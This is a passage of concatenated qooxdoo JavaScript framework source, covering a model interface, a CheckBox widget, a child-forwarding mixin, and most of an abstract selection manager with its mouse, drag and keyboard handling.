MEMBERS ***************************************************************************** */ members : { /** * Set the representative data for the item. * * @param value {var} The data. */ setModel : function(value) {}, /** * Returns the representative data for the item * * @return {var} The data. */ getModel : function() {}, /** * Sets the representative data to null. */ resetModel : function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) * Andreas Ecker (ecker) ************************************************************************ */ /** * A check box widget with an optional label. */ qx.Class.define("qx.ui.form.CheckBox", { extend : qx.ui.form.ToggleButton, include : [ qx.ui.form.MForm, qx.ui.form.MModelProperty ], implement : [ qx.ui.form.IForm, qx.ui.form.IModel ], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param label {String?null} An optional label for the check box. */ construct : function(label) { if (qx.core.Environment.get("qx.debug")) { this.assertArgumentsCount(arguments, 0, 1); } this.base(arguments, label); // Initialize the checkbox to a valid value (the default is null which // is invalid) this.setValue(false); }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden appearance : { refine : true, init : "checkbox" }, // overridden allowGrowX : { refine : true, init : false } }, /** * @lint ignoreReferenceField(_forwardStates,_bindableProperties) */ members : { // overridden _forwardStates : { invalid : true, focused : true, undetermined : true, checked : true, hovered : true }, // overridden (from MExecutable to keet the icon out of the binding) _bindableProperties : [ "enabled", "label", "toolTipText", "value", "menu" ] } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * This mixin redirects all children handling methods to a child widget of the * including class. This is e.g. used in {@link qx.ui.window.Window} to add * child widgets directly to the window pane. * * The including class must implement the method <code>getChildrenContainer</code>, * which has to return the widget, to which the child widgets should be added. */ qx.Mixin.define("qx.ui.core.MRemoteChildrenHandling", { /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** * Forward the call with the given function name to the children container * * @param functionName {String} name of the method to forward * @param a1 {var} first argument of the method to call * @param a2 {var} second argument of the method to call * @param a3 {var} third argument of the method to call * @return {var} The return value of the forward method */ __forward : function(functionName, a1, a2, a3) { var container = this.getChildrenContainer(); if (container === this) { functionName = "_" + functionName; } return (container[functionName])(a1, a2, a3); }, /** * Returns the children list * * @return {LayoutItem[]} The children array (Arrays are * reference types, please to not modify them in-place) */ getChildren : function() { return this.__forward("getChildren"); }, /** * Whether the widget contains children. * * @return {Boolean} Returns <code>true</code> when the widget has children. */ hasChildren : function() { return this.__forward("hasChildren"); }, /** * Adds a new child widget. * * The supported keys of the layout options map depend on the layout manager * used to position the widget. The options are documented in the class * documentation of each layout manager {@link qx.ui.layout}. * * @param child {LayoutItem} the item to add. * @param options {Map?null} Optional layout data for item. * @return {Widget} This object (for chaining support) */ add : function(child, options) { return this.__forward("add", child, options); }, /** * Remove the given child item. * * @param child {LayoutItem} the item to remove * @return {Widget} This object (for chaining support) */ remove : function(child) { return this.__forward("remove", child); }, /** * Remove all children. * * @return {void} */ removeAll : function() { return this.__forward("removeAll"); }, /** * Returns the index position of the given item if it is * a child item. Otherwise it returns <code>-1</code>. * * This method works on the widget's children list. Some layout managers * (e.g. {@link qx.ui.layout.HBox}) use the children order as additional * layout information. Other layout manager (e.g. {@link qx.ui.layout.Grid}) * ignore the children order for the layout process. * * @param child {LayoutItem} the item to query for * @return {Integer} The index position or <code>-1</code> when * the given item is no child of this layout. */ indexOf : function(child) { return this.__forward("indexOf", child); }, /** * Add a child at the specified index * * This method works on the widget's children list. Some layout managers * (e.g. {@link qx.ui.layout.HBox}) use the children order as additional * layout information. Other layout manager (e.g. {@link qx.ui.layout.Grid}) * ignore the children order for the layout process. * * @param child {LayoutItem} item to add * @param index {Integer} Index, at which the item will be inserted * @param options {Map?null} Optional layout data for item. */ addAt : function(child, index, options) { this.__forward("addAt", child, index, options); }, /** * Add an item before another already inserted item * * This method works on the widget's children list. Some layout managers * (e.g. {@link qx.ui.layout.HBox}) use the children order as additional * layout information. Other layout manager (e.g. {@link qx.ui.layout.Grid}) * ignore the children order for the layout process. * * @param child {LayoutItem} item to add * @param before {LayoutItem} item before the new item will be inserted. * @param options {Map?null} Optional layout data for item. */ addBefore : function(child, before, options) { this.__forward("addBefore", child, before, options); }, /** * Add an item after another already inserted item * * This method works on the widget's children list. Some layout managers * (e.g. {@link qx.ui.layout.HBox}) use the children order as additional * layout information. Other layout manager (e.g. {@link qx.ui.layout.Grid}) * ignore the children order for the layout process. * * @param child {LayoutItem} item to add * @param after {LayoutItem} item, after which the new item will be inserted * @param options {Map?null} Optional layout data for item. */ addAfter : function(child, after, options) { this.__forward("addAfter", child, after, options); }, /** * Remove the item at the specified index. * * This method works on the widget's children list. Some layout managers * (e.g. {@link qx.ui.layout.HBox}) use the children order as additional * layout information. Other layout manager (e.g. {@link qx.ui.layout.Grid}) * ignore the children order for the layout process. * * @param index {Integer} Index of the item to remove. * @return {qx.ui.core.LayoutItem} The removed item */ removeAt : function(index) { return this.__forward("removeAt", index); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) ************************************************************************ */ /** * Generic selection manager to bring rich desktop like selection behavior * to widgets and low-level interactive controls. * * The selection handling supports both Shift and Ctrl/Meta modifies like * known from native applications. */ qx.Class.define("qx.ui.core.selection.Abstract", { type : "abstract", extend : qx.core.Object, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ construct : function() { this.base(arguments); // {Map} Internal selection storage this.__selection = {}; }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fires after the selection was modified. Contains the selection under the data property. */ "changeSelection" : "qx.event.type.Data" }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Selects the selection mode to use. * * * single: One or no element is selected * * multi: Multi items could be selected. Also allows empty selections. * * additive: Easy Web-2.0 selection mode. Allows multiple selections without modifier keys. * * one: If possible always exactly one item is selected */ mode : { check : [ "single", "multi", "additive", "one" ], init : "single", apply : "_applyMode" }, /** * Enable drag selection (multi selection of items through * dragging the mouse in pressed states). * * Only possible for the modes <code>multi</code> and <code>additive</code> */ drag : { check : "Boolean", init : false }, /** * Enable quick selection mode, where no click is needed to change the selection. * * Only possible for the modes <code>single</code> and <code>one</code>. */ quick : { check : "Boolean", init : false } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __scrollStepX : 0, __scrollStepY : 0, __scrollTimer : null, __frameScroll : null, __lastRelX : null, __lastRelY : null, __frameLocation : null, __dragStartX : null, __dragStartY : null, __inCapture : null, __mouseX : null, __mouseY : null, __moveDirectionX : null, __moveDirectionY : null, __selectionModified : null, __selectionContext : null, __leadItem : null, __selection : null, __anchorItem : null, __mouseDownOnSelected : null, // A flag that signals an user interaction, which means the selection change // was triggered by mouse or keyboard [BUG #3344] _userInteraction : false, __oldScrollTop : null, /* --------------------------------------------------------------------------- USER APIS --------------------------------------------------------------------------- */ /** * Returns the selection context. One of <code>click</code>, * <code>quick</code>, <code>drag</code> or <code>key</code> or * <code>null</code>. * * @return {String} One of <code>click</code>, <code>quick</code>, * <code>drag</code> or <code>key</code> or <code>null</code> */ getSelectionContext : function() { return this.__selectionContext; }, /** * Selects all items of the managed object. * * @return {void} */ selectAll : function() { var mode = this.getMode(); if (mode == "single" || mode == "one") { throw new Error("Can not select all items in selection mode: " + mode); } this._selectAllItems(); this._fireChange(); }, /** * Selects the given item. Replaces current selection * completely with the new item. * * Use {@link #addItem} instead if you want to add new * items to an existing selection. * * @param item {Object} Any valid item * @return {void} */ selectItem : function(item) { this._setSelectedItem(item); var mode = this.getMode(); if (mode !== "single" && mode !== "one") { this._setLeadItem(item); this._setAnchorItem(item); } this._scrollItemIntoView(item); this._fireChange(); }, /** * Adds the given item to the existing selection. * * Use {@link #selectItem} instead if you want to replace * the current selection. * * @param item {Object} Any valid item * @return {void} */ addItem : function(item) { var mode = this.getMode(); if (mode === "single" || mode === "one") { this._setSelectedItem(item); } else { if (this._getAnchorItem() == null) { this._setAnchorItem(item); } this._setLeadItem(item); this._addToSelection(item); } this._scrollItemIntoView(item); this._fireChange(); }, /** * Removes the given item from the selection. * * Use {@link #clearSelection} when you want to clear * the whole selection at once. * * @param item {Object} Any valid item * @return {void} */ removeItem : function(item) { this._removeFromSelection(item); if (this.getMode() === "one" && this.isSelectionEmpty()) { var selected = this._applyDefaultSelection(); // Do not fire any event in this case. if (selected == item) { return; } } if (this.getLeadItem() == item) { this._setLeadItem(null); } if (this._getAnchorItem() == item) { this._setAnchorItem(null); } this._fireChange(); }, /** * Selects an item range between two given items. * * @param begin {Object} Item to start with * @param end {Object} Item to end at * @return {void} */ selectItemRange : function(begin, end) { var mode = this.getMode(); if (mode == "single" || mode == "one") { throw new Error("Can not select multiple items in selection mode: " + mode); } this._selectItemRange(begin, end); this._setAnchorItem(begin); this._setLeadItem(end); this._scrollItemIntoView(end); this._fireChange(); }, /** * Clears the whole selection at once. Also * resets the lead and anchor items and their * styles. * * @return {void} */ clearSelection : function() { if (this.getMode() == "one") { var selected = this._applyDefaultSelection(true); if (selected != null) { return; } } this._clearSelection(); this._setLeadItem(null); this._setAnchorItem(null); this._fireChange(); }, /** * Replaces current selection with given array of items. * * Please note that in single selection scenarios it is more * efficient to directly use {@link #selectItem}. * * @param items {Array} Items to select */ replaceSelection : function(items) { var mode = this.getMode(); if (mode == "one" || mode === "single") { if (items.length > 1) { throw new Error("Could not select more than one items in mode: " + mode + "!"); } if (items.length == 1) { this.selectItem(items[0]); } else { this.clearSelection(); } return; } else { this._replaceMultiSelection(items); } }, /** * Get the selected item. This method does only work in <code>single</code> * selection mode. * * @return {Object} The selected item. */ getSelectedItem : function() { var mode = this.getMode(); if (mode === "single" || mode === "one") { var result = this._getSelectedItem(); return result != undefined ? result : null; } throw new Error("The method getSelectedItem() is only supported in 'single' and 'one' selection mode!"); }, /** * Returns an array of currently selected items. * * Note: The result is only a set of selected items, so the order can * differ from the sequence in which the items were added. * * @return {Object[]} List of items. */ getSelection : function() { return qx.lang.Object.getValues(this.__selection); }, /** * Returns the selection sorted by the index in the * container of the selection (the assigned widget) * * @return {Object[]} Sorted list of items */ getSortedSelection : function() { var children = this.getSelectables(); var sel = qx.lang.Object.getValues(this.__selection); sel.sort(function(a, b) { return children.indexOf(a) - children.indexOf(b); }); return sel; }, /** * Detects whether the given item is currently selected. * * @param item {var} Any valid selectable item * @return {Boolean} Whether the item is selected */ isItemSelected : function(item) { var hash = this._selectableToHashCode(item); return this.__selection[hash] !== undefined; }, /** * Whether the selection is empty * * @return {Boolean} Whether the selection is empty */ isSelectionEmpty : function() { return qx.lang.Object.isEmpty(this.__selection); }, /** * Invert the selection. Select the non selected and deselect the selected. */ invertSelection: function() { var mode = this.getMode(); if (mode === "single" || mode === "one") { throw new Error("The method invertSelection() is only supported in 'multi' and 'additive' selection mode!"); } var selectables = this.getSelectables(); for (var i = 0; i < selectables.length; i++) { this._toggleInSelection(selectables[i]); } this._fireChange(); }, /* --------------------------------------------------------------------------- LEAD/ANCHOR SUPPORT --------------------------------------------------------------------------- */ /** * Sets the lead item. Generally the item which was last modified * by the user (clicked on etc.) * * @param value {Object} Any valid item or <code>null</code> * @return {void} */ _setLeadItem : function(value) { var old = this.__leadItem; if (old !== null) { this._styleSelectable(old, "lead", false); } if (value !== null) { this._styleSelectable(value, "lead", true); } this.__leadItem = value; }, /** * Returns the current lead item. Generally the item which was last modified * by the user (clicked on etc.) * * @return {Object} The lead item or <code>null</code> */ getLeadItem : function() { return this.__leadItem !== null ? this.__leadItem : null; }, /** * Sets the anchor item. This is the item which is the starting * point for all range selections. Normally this is the item which was * clicked on the last time without any modifier keys pressed. * * @param value {Object} Any valid item or <code>null</code> * @return {void} */ _setAnchorItem : function(value) { var old = this.__anchorItem; if (old != null) { this._styleSelectable(old, "anchor", false); } if (value != null) { this._styleSelectable(value, "anchor", true); } this.__anchorItem = value; }, /** * Returns the current anchor item. This is the item which is the starting * point for all range selections. Normally this is the item which was * clicked on the last time without any modifier keys pressed. * * @return {Object} The anchor item or <code>null</code> */ _getAnchorItem : function() { return this.__anchorItem !== null ? this.__anchorItem : null; }, /* --------------------------------------------------------------------------- BASIC SUPPORT --------------------------------------------------------------------------- */ /** * Whether the given item is selectable. * * @param item {var} Any item * @return {Boolean} <code>true</code> when the item is selectable */ _isSelectable : function(item) { throw new Error("Abstract method call: _isSelectable()"); }, /** * Finds the selectable instance from a mouse event * * @param event {qx.event.type.Mouse} The mouse event * @return {Object|null} The resulting selectable */ _getSelectableFromMouseEvent : function(event) { var target = event.getTarget(); // check for target (may be null when leaving the viewport) [BUG #4378] if (target && this._isSelectable(target)) { return target; } return null; }, /** * Returns an unique hashcode for the given item. * * @param item {var} Any item * @return {String} A valid hashcode */ _selectableToHashCode : function(item) { throw new Error("Abstract method call: _selectableToHashCode()"); }, /** * Updates the style (appearance) of the given item. * * @param item {var} Item to modify * @param type {String} Any of <code>selected</code>, <code>anchor</code> or <code>lead</code> * @param enabled {Boolean} Whether the given style should be added or removed. * @return {void} */ _styleSelectable : function(item, type, enabled) { throw new Error("Abstract method call: _styleSelectable()"); }, /** * Enables capturing of the container. * * @return {void} */ _capture : function() { throw new Error("Abstract method call: _capture()"); }, /** * Releases capturing of the container * * @return {void} */ _releaseCapture : function() { throw new Error("Abstract method call: _releaseCapture()"); }, /* --------------------------------------------------------------------------- DIMENSION AND LOCATION --------------------------------------------------------------------------- */ /** * Returns the location of the container * * @return {Map} Map with the keys <code>top</code>, <code>right</code>, * <code>bottom</code> and <code>left</code>. */ _getLocation : function() { throw new Error("Abstract method call: _getLocation()"); }, /** * Returns the dimension of the container (available scrolling space). * * @return {Map} Map with the keys <code>width</code> and <code>height</code>. */ _getDimension : function() { throw new Error("Abstract method call: _getDimension()"); }, /** * Returns the relative (to the container) horizontal location of the given item. * * @param item {var} Any item * @return {Map} A map with the keys <code>left</code> and <code>right</code>. */ _getSelectableLocationX : function(item) { throw new Error("Abstract method call: _getSelectableLocationX()"); }, /** * Returns the relative (to the container) horizontal location of the given item. * * @param item {var} Any item * @return {Map} A map with the keys <code>top</code> and <code>bottom</code>. */ _getSelectableLocationY : function(item) { throw new Error("Abstract method call: _getSelectableLocationY()"); }, /* --------------------------------------------------------------------------- SCROLL SUPPORT --------------------------------------------------------------------------- */ /** * Returns the scroll position of the container. * * @return {Map} Map with the keys <code>left</code> and <code>top</code>. */ _getScroll : function() { throw new Error("Abstract method call: _getScroll()"); }, /** * Scrolls by the given offset * * @param xoff {Integer} Horizontal offset to scroll by * @param yoff {Integer} Vertical offset to scroll by * @return {void} */ _scrollBy : function(xoff, yoff) { throw new Error("Abstract method call: _scrollBy()"); }, /** * Scrolls the given item into the view (make it visible) * * @param item {var} Any item * @return {void} */ _scrollItemIntoView : function(item) { throw new Error("Abstract method call: _scrollItemIntoView()"); }, /* --------------------------------------------------------------------------- QUERY SUPPORT --------------------------------------------------------------------------- */ /** * Returns all selectable items of the container. * * @param all {boolean} true for all selectables, false for the * selectables the user can interactively select * @return {Array} A list of items */ getSelectables : function(all) { throw new Error("Abstract method call: getSelectables()"); }, /** * Returns all selectable items between the two given items. * * The items could be given in any order. * * @param item1 {var} First item * @param item2 {var} Second item * @return {Array} List of items */ _getSelectableRange : function(item1, item2) { throw new Error("Abstract method call: _getSelectableRange()"); }, /** * Returns the first selectable item. * * @return {var} The first selectable item */ _getFirstSelectable : function() { throw new Error("Abstract method call: _getFirstSelectable()"); }, /** * Returns the last selectable item. * * @return {var} The last selectable item */ _getLastSelectable : function() { throw new Error("Abstract method call: _getLastSelectable()"); }, /** * Returns a selectable item which is related to the given * <code>item</code> through the value of <code>relation</code>. * * @param item {var} Any item * @param relation {String} A valid relation: <code>above</code>, * <code>right</code>, <code>under</code> or <code>left</code> * @return {var} The related item */ _getRelatedSelectable : function(item, relation) { throw new Error("Abstract method call: _getRelatedSelectable()"); }, /** * Returns the item which should be selected on pageUp/pageDown. * * May also scroll to the needed position. * * @param lead {var} The current lead item * @param up {Boolean?false} Which page key was pressed: * <code>up</code> or <code>down</code>. * @return {void} */ _getPage : function(lead, up) { throw new Error("Abstract method call: _getPage()"); }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyMode : function(value, old) { this._setLeadItem(null); this._setAnchorItem(null); this._clearSelection(); // Mode "one" requires one selected item if (value === "one") { this._applyDefaultSelection(true); } this._fireChange(); }, /* --------------------------------------------------------------------------- MOUSE SUPPORT --------------------------------------------------------------------------- */ /** * This method should be connected to the <code>mouseover</code> event * of the managed object. * * @param event {qx.event.type.Mouse} A valid mouse event * @return {void} */ handleMouseOver : function(event) { // All browsers (except Opera) fire a native "mouseover" event when a scroll appears // by keyboard interaction. We have to ignore the event to avoid a selection for // "mouseover" (quick selection). For more details see [BUG #4225] if(this.__oldScrollTop != null && this.__oldScrollTop != this._getScroll().top) { this.__oldScrollTop = null; return; } // this is a method invoked by an user interaction, so be careful to // set / clear the mark this._userInteraction [BUG #3344] this._userInteraction = true; if (!this.getQuick()) { this._userInteraction = false; return; } var mode = this.getMode(); if (mode !== "one" && mode !== "single") { this._userInteraction = false; return; } var item = this._getSelectableFromMouseEvent(event); if (item === null) { this._userInteraction = false; return; } this._setSelectedItem(item); // Be sure that item is in view // This does not feel good when mouseover is used // this._scrollItemIntoView(item); // Fire change event as needed this._fireChange("quick"); this._userInteraction = false; }, /** * This method should be connected to the <code>mousedown</code> event * of the managed object. * * @param event {qx.event.type.Mouse} A valid mouse event * @return {void} */ handleMouseDown : function(event) { // this is a method invoked by an user interaction, so be careful to // set / clear the mark this._userInteraction [BUG #3344] this._userInteraction = true; var item = this._getSelectableFromMouseEvent(event); if (item === null) { this._userInteraction = false; return; } // Read in keyboard modifiers var isCtrlPressed = event.isCtrlPressed() || (qx.core.Environment.get("os.name") == "osx" && event.isMetaPressed()); var isShiftPressed = event.isShiftPressed(); // Clicking on selected items deselect on mouseup, not on mousedown if (this.isItemSelected(item) && !isShiftPressed && !isCtrlPressed && !this.getDrag()) { this.__mouseDownOnSelected = item; this._userInteraction = false; return; } else { this.__mouseDownOnSelected = null; } // Be sure that item is in view this._scrollItemIntoView(item); // Action depends on selected mode switch(this.getMode()) { case "single": case "one": this._setSelectedItem(item); break; case "additive": this._setLeadItem(item); this._setAnchorItem(item); this._toggleInSelection(item); break; case "multi": // Update lead item this._setLeadItem(item); // Create/Update range selection if (isShiftPressed) { var anchor = this._getAnchorItem(); if (anchor === null) { anchor = this._getFirstSelectable(); this._setAnchorItem(anchor); } this._selectItemRange(anchor, item, isCtrlPressed); } // Toggle in selection else if (isCtrlPressed) { this._setAnchorItem(item); this._toggleInSelection(item); } // Replace current selection else { this._setAnchorItem(item); this._setSelectedItem(item); } break; } // Drag selection var mode = this.getMode(); if ( this.getDrag() && mode !== "single" && mode !== "one" && !isShiftPressed && !isCtrlPressed ) { // Cache location/scroll data this.__frameLocation = this._getLocation(); this.__frameScroll = this._getScroll(); // Store position at start this.__dragStartX = event.getDocumentLeft() + this.__frameScroll.left; this.__dragStartY = event.getDocumentTop() + this.__frameScroll.top; // Switch to capture mode this.__inCapture = true; this._capture(); } // Fire change event as needed this._fireChange("click"); this._userInteraction = false; }, /** * This method should be connected to the <code>mouseup</code> event * of the managed object. * * @param event {qx.event.type.Mouse} A valid mouse event * @return {void} */ handleMouseUp : function(event) { // this is a method invoked by an user interaction, so be careful to // set / clear the mark this._userInteraction [BUG #3344] this._userInteraction = true; // Read in keyboard modifiers var isCtrlPressed = event.isCtrlPressed() || (qx.core.Environment.get("os.name") == "osx" && event.isMetaPressed()); var isShiftPressed = event.isShiftPressed(); if (!isCtrlPressed && !isShiftPressed && this.__mouseDownOnSelected != null) { var item = this._getSelectableFromMouseEvent(event); if (item === null || !this.isItemSelected(item)) { this._userInteraction = false; return; } var mode = this.getMode(); if (mode === "additive") { // Remove item from selection this._removeFromSelection(item); } else { // Replace selection this._setSelectedItem(item); if (this.getMode() === "multi") { this._setLeadItem(item); this._setAnchorItem(item); } } this._userInteraction = false; } // Cleanup operation this._cleanup(); }, /** * This method should be connected to the <code>losecapture</code> event * of the managed object. * * @param event {qx.event.type.Mouse} A valid mouse event * @return {void} */ handleLoseCapture : function(event) { this._cleanup(); }, /** * This method should be connected to the <code>mousemove</code> event * of the managed object. * * @param event {qx.event.type.Mouse} A valid mouse event * @return {void} */ handleMouseMove : function(event) { // Only relevant when capturing is enabled if (!this.__inCapture) { return; } // Update mouse position cache this.__mouseX = event.getDocumentLeft(); this.__mouseY = event.getDocumentTop(); // this is a method invoked by an user interaction, so be careful to // set / clear the mark this._userInteraction [BUG #3344] this._userInteraction = true; // Detect move directions var dragX = this.__mouseX + this.__frameScroll.left; if (dragX > this.__dragStartX) { this.__moveDirectionX = 1; } else if (dragX < this.__dragStartX) { this.__moveDirectionX = -1; } else { this.__moveDirectionX = 0; } var dragY = this.__mouseY + this.__frameScroll.top; if (dragY > this.__dragStartY) { this.__moveDirectionY = 1; } else if (dragY < this.__dragStartY) { this.__moveDirectionY = -1; } else { this.__moveDirectionY = 0; } // Update scroll steps var location = this.__frameLocation; if (this.__mouseX < location.left) { this.__scrollStepX = this.__mouseX - location.left; } else if (this.__mouseX > location.right) { this.__scrollStepX = this.__mouseX - location.right; } else { this.__scrollStepX = 0; } if (this.__mouseY < location.top) { this.__scrollStepY = this.__mouseY - location.top; } else if (this.__mouseY > location.bottom) { this.__scrollStepY = this.__mouseY - location.bottom; } else { this.__scrollStepY = 0; } // Dynamically create required timer instance if (!this.__scrollTimer) { this.__scrollTimer = new qx.event.Timer(100); this.__scrollTimer.addListener("interval", this._onInterval, this); } // Start interval this.__scrollTimer.start(); // Auto select based on new cursor position this._autoSelect(); event.stopPropagation(); this._userInteraction = false; }, /** * This method should be connected to the <code>addItem</code> event * of the managed object. * * @param e {qx.event.type.Data} The event object * @return {void} */ handleAddItem : function(e) { var item = e.getData(); if (this.getMode() === "one" && this.isSelectionEmpty()) { this.addItem(item); } }, /** * This method should be connected to the <code>removeItem</code> event * of the managed object. * * @param e {qx.event.type.Data} The event object * @return {void} */ handleRemoveItem : function(e) { this.removeItem(e.getData()); }, /* --------------------------------------------------------------------------- MOUSE SUPPORT INTERNALS --------------------------------------------------------------------------- */ /** * Stops all timers, release capture etc. to cleanup drag selection */ _cleanup : function() { if (!this.getDrag() && this.__inCapture) { return; } // Fire change event if needed if (this.__selectionModified) { this._fireChange("click"); } // Remove flags delete this.__inCapture; delete this.__lastRelX; delete this.__lastRelY; // Stop capturing this._releaseCapture(); // Stop timer if (this.__scrollTimer) { this.__scrollTimer.stop(); } }, /** * Event listener for timer used by drag selection * * @param e {qx.event.type.Event} Timer event */ _onInterval : function(e) { // Scroll by defined block size this._scrollBy(this.__scrollStepX, this.__scrollStepY); // TODO: Optimization: Detect real scroll changes first? // Update scroll cache this.__frameScroll = this._getScroll(); // Auto select based on new scroll position and cursor this._autoSelect(); }, /** * Automatically selects items based on the mouse movement during a drag selection */ _autoSelect : function() { var inner = this._getDimension(); // Get current relative Y position and compare it with previous one var relX = Math.max(0, Math.min(this.__mouseX - this.__frameLocation.left, inner.width)) + this.__frameScroll.left; var relY = Math.max(0, Math.min(this.__mouseY - this.__frameLocation.top, inner.height)) + this.__frameScroll.top; // Compare old and new relative coordinates (for performance reasons) if (this.__lastRelX === relX && this.__lastRelY === relY) { return; } this.__lastRelX = relX; this.__lastRelY = relY; // Cache anchor var anchor = this._getAnchorItem(); var lead = anchor; // Process X-coordinate var moveX = this.__moveDirectionX; var nextX, locationX; while (moveX !== 0) { // Find next item to process depending on current scroll direction nextX = moveX > 0 ? this._getRelatedSelectable(lead, "right") : this._getRelatedSelectable(lead, "left"); // May be null (e.g. first/last item) if (nextX !== null) { locationX = this._getSelectableLocationX(nextX); // Continue when the item is in the visible area if ( (moveX > 0 && locationX.left <= relX) || (moveX < 0 && locationX.right >= relX) ) { lead = nextX; continue; } } // Otherwise break break; } // Process Y-coordinate var moveY = this.__moveDirectionY; var nextY, locationY; while (moveY !== 0) { // Find next item to process depending on current scroll direction nextY = moveY > 0 ? this._getRelatedSelectable(lead, "under") : this._getRelatedSelectable(lead, "above"); // May be null (e.g. first/last item) if (nextY !== null) { locationY = this._getSelectableLocationY(nextY); // Continue when the item is in the visible area if ( (moveY > 0 && locationY.top <= relY) || (moveY < 0 && locationY.bottom >= relY) ) { lead = nextY; continue; } } // Otherwise break break; } // Differenciate between the two supported modes var mode = this.getMode(); if (mode === "multi") { // Replace current selection with new range this._selectItemRange(anchor, lead); } else if (mode === "additive") { // Behavior depends on the fact whether the // anchor item is selected or not if (this.isItemSelected(anchor)) { this._selectItemRange(anchor, lead, true); } else { this._deselectItemRange(anchor, lead); } // Improve performance. This mode does not rely // on full ranges as it always extend the old // selection/deselection. this._setAnchorItem(lead); } // Fire change event as needed this._fireChange("drag"); }, /* --------------------------------------------------------------------------- KEYBOARD SUPPORT --------------------------------------------------------------------------- */ /** * {Map} All supported navigation keys * * @lint ignoreReferenceField(__navigationKeys) */ __navigationKeys : { Home : 1, Down : 1 , Right : 1, PageDown : 1, End : 1, Up : 1, Left : 1, PageUp : 1 }, /** * This method should be connected to the <code>keypress</code> event * of the managed object. * * @param event {qx.event.type.KeySequence} A valid key sequence event * @return {void} */ handleKeyPress : function(event) { // this is a method invoked by an user interaction, so be careful to // set / clear the mark this._userInteraction [BUG #3344] this._userInteraction = true; var current, next; var key = event.getKeyIdentifier(); var mode = this.getMode(); // Support both control keys on Mac var isCtrlPressed = event.isCtrlPressed() || (qx.core.Environment.get("os.name") == "osx" && event.isMetaPressed()); var isShiftPressed = event.isShiftPressed(); var consumed = false; if (key === "A" && isCtrlPressed) { if (mode !== "single" && mode !== "one") { this._selectAllItems(); consumed = true; } } else if (key === "Escape") { if (mode !== "single" && mode !== "one") { this._clearSelection(); consumed = true; } } else if (key === "Space") { var lead = this.getLeadItem(); if (lead != null && !isShiftPressed) { if (isCtrlPressed || mode === "additive") { this._toggleInSelection(lead); } else { this._setSelectedItem(lead); } consumed = true; } } else if (this.__navigationKeys[key]) { consumed = true; if (mode === "single" || mode == "one") { current = this._getSelectedItem(); } else { current = this.getLeadItem(); } if (current !== null) { switch(key) { case "Home": next = this._getFirstSelectable(); break; case "End": next = this._getLastSelectable(); break; case "Up": next = this._getRelatedSelectable(current, "above"); break; case "Down": next = this._getRelatedSelectable(current, "under"); break; case "Left": next = this._getRelatedSelectable(current, "left"); break; case "Right": next = this._getRelatedSelectable(current, "right"); break; case "PageUp": next = this._getPage(current, true); break; case "PageDown": next = this._getPage(current, false); break; } } else { switch(key) { case "Home": case "Down": case "Right": case "PageDown": next = this._getFirstSelectable(); break; case "End": case "Up": case "Left": case "PageUp": next = this._getLastSelectable(); break; } } // Process result if (next !== null) { switch(mode) { case "single": case "one": this._setSelectedItem(next); break; case "additive": this._setLeadItem(next); break; case "multi": if (isShiftPressed) { var anchor = this._getAnchorItem(); if (anchor === null) { this._setAnchorItem(anchor = this._getFirstSelectable()); } this._setLeadItem(next); this._selectItemRange(anchor, next, isCtrlPressed); } else { this._setAnchorItem(next); this._setLeadItem(next); if (!isCtrlPressed) { this._setSelectedItem(next); } } break; } this.__oldScrollTop = this._getScroll().top; this._scrollItemIntoView(next); } } if (consumed) { // Stop processed events event.stop(); // Fire change event as needed this._fireChange("key"); } this._userInteraction = false; }, /* --------------------------------------------------------------------------- SUPPORT FOR ITEM RANGES --------------------------------------------------------------------------- */ /** * Adds all items to the selection */ _selectAllItems : function() { var range = this.getSelectables(); for (var i=0, l=range.length; i<l; i++) { this._addToSelection(range[i]); } }, /** * Clears current selection */ _clearSelection : function() { var selection = this.__selection; for (var hash in selection) { this._removeFromSelection(selection[hash]); } this.__selection = {}; }, /** * Select a range from <code>item1</code> to <code>item2</code>. * * @param item1 {Object} Start with this item * @param item2 {Object} End with this item * @param extend {Boolean?false} Whether the current * selection should be replaced or extended. */ _selectItemRange : function(item1, item2, extend) { var range = this._getSelectableRange(item1, item2); // Remove items which are not in the detected range if (!extend) { var selected = this.__selection; var mapped = this.__rangeToMap(range); for (var hash in selected) { if (!mapped[hash]) { this._removeFromSelection(selected[hash]); } } } // Add new items to the selection for (var i=0, l=range.length; i<l; i++) { this._addToSelection(range[i]); } }, /** * Deselect all items between <code>item1</code> and <code>item2</code>. * * @param item1 {Object} Start with this item * @param item2 {Object} End with this item */ _deselectItemRange : function(item1, item2) { var range = this._getSelectableRange(item1, item2); for (var i=0, l=range.length; i<l; i++) { this._removeFromSelection(range[i]); } }, /** * Internal method to convert a range to a map of hash * codes for faster lookup during selection compare routines. * * @param range {Array} List of selectable items */ __rangeToMap : function(range) { var mapped = {}; var item; for (var i=0, l=range.length; i<l; i++) { item = range[i]; mapped[this._selectableToHashCode(item)] = item; } return mapped; }, /* --------------------------------------------------------------------------- SINGLE ITEM QUERY AND MODIFICATION --------------------------------------------------------------------------- */ /** * Returns the first selected item. Only makes sense * when using manager in single selection mode. * * @return {var} The selected item (or <code>null</code>) */ 